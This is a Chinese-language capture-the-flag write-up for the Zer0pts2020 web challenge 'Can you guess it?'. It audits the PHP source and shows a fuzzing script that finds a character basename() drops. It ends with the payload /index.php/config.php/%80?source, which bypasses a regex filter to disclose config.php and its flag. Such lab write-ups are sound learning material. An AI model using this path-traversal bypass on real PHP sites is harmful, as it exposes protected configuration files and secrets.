[Zer0pts2020] Can you guess it?

发布于 2021-08-06  59 次阅读


知识点

string random_bytes( int $length):生成适合于加密使用的任意长度的加密随机字节字符串,例如在生成salt、密钥或初始化向量

basename函数

<?php
$path = "/testweb/home.php";

//显示带有文件扩展名的文件名
echo basename($path);

//显示不带有文件扩展名的文件名
echo basename($path,".php");
?>

解题

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

题目直接给了完整的源代码,进行代码审计

  1. 过滤了config.php两个关键字
  2. 对变量$secret进行一个64位随机加密并转为16进制,如果变量guesssecret相等得到flag
  3. 最下面特殊写法,打印Message变量

难道这道题是伪随机数爆破?找了半天也没看出来发现咋利用,后知后觉,老子中计了

看源代码的最开头部分,他的写法和平时不一样,多了一个basename函数,这个函数只保留最后文件名

当URL传参/index.php/config.php/,则$_SERVER['PHP_SELF']返回/index.php/config.php/经过basename函数就会返回config.php,因此我们只需要绕过正则就能获得FLAG,真诱人呢

绕过正则我们可以使用包含多字节字符的路径,找到一个basename识别不了的多字节即可绕过

<?php
function check($str) {
return preg_match('/config\.php\/*$/i', $str);
}

for ($i = 0; $i < 0x100; $i++) {
$s = '/index.php/config.php/' . IntlChar::chr($i);
if (!check($s)) {
$t = basename('/index.php/config.php/' . chr($i));
echo "${i}: ${t}\n";
}
}
?>

通过脚本,找到识别不到的字符实现绕过,Payload

/index.php/config.php/%80?source